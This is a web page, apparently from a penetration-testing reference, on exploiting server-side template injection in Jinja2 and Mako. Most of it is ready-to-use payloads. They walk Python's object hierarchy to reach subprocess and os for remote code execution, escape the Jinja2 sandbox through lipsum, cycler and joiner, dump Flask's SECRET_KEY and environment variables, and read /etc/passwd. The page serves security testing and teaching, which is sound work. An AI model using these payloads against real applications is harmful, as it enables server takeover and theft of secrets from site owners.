Skip to main content

Jinja2 SSTI (Python)

CWECWE-1336
Toolstplmap
Difficulty🟡 intermediate

Jinja2 (Python)​

Jinja2 is the default template engine for Flask and widely used in Python applications.

Exploitation methodology:

  1. Access Python object hierarchy via MRO (Method Resolution Order):

    {{ ''.__class__ }}
    {{ ''.__class__.__base__ }}
    {{ ''.__class__.__mro__ }}
    {{ ''.__class__.__mro__[1].__subclasses__() }}
  2. Find useful subclasses. Target these classes:

    • subprocess.Popen (command execution)
    • os._wrap_close (file operations)
    • warnings.catch_warnings (has access to builtins)
    • BuiltinImporter (importing modules)

    Enumerate subclasses to find the target index:

    {{ ''.__class__.__mro__[1].__subclasses__() }}
  3. RCE via subprocess.Popen (adjust INDEX based on enumeration):

    {{ ''.__class__.__mro__[1].__subclasses__()[INDEX]('id',shell=True,stdout=-1).communicate() }}
  4. RCE via os module through catch_warnings:

    {{ ''.__class__.__mro__[1].__subclasses__()[IDX]()._module.__builtins__['__import__']('os').popen('id').read() }}
  5. Universal RCE (Python 3) -- dynamically finds the right class:

    {% for c in [].__class__.__base__.__subclasses__() %}
    {% if c.__name__ == 'catch_warnings' %}
    {{ c.__init__.__globals__['__builtins__']['__import__']('os').popen('id').read() }}
    {% endif %}
    {% endfor %}
  6. Flask config and environment exposure:

    {{ config.items() }}
    {{ config['SECRET_KEY'] }}
    {{ request.environ }}
    {{ config.__class__.__init__.__globals__['os'].environ }}
  7. File read:

    {{ ''.__class__.__mro__[1].__subclasses__()[IDX]('/etc/passwd').read() }}

Jinja2 sandbox escape techniques:

Via Jinja2 internal objects:

{{ joiner.__init__.__globals__ }}
{{ cycler.__init__.__globals__ }}
{{ lipsum.__globals__ }}
{{ namespace.__init__.__globals__ }}

Via Flask request object:

{{ request.__class__.__mro__[3].__subclasses__() }}

Via lipsum (commonly available):

{{ lipsum.__globals__['os'].popen('id').read() }}
{{ cycler.__init__.__globals__.os.popen('id').read() }}

Mako (Python)​

Mako allows direct Python code execution, making exploitation straightforward.

Detection:

${self.module.__builtins__}

RCE:

<%
import os
x = os.popen('id').read()
%>${x}

One-liner RCE:

${__import__('os').popen('id').read()}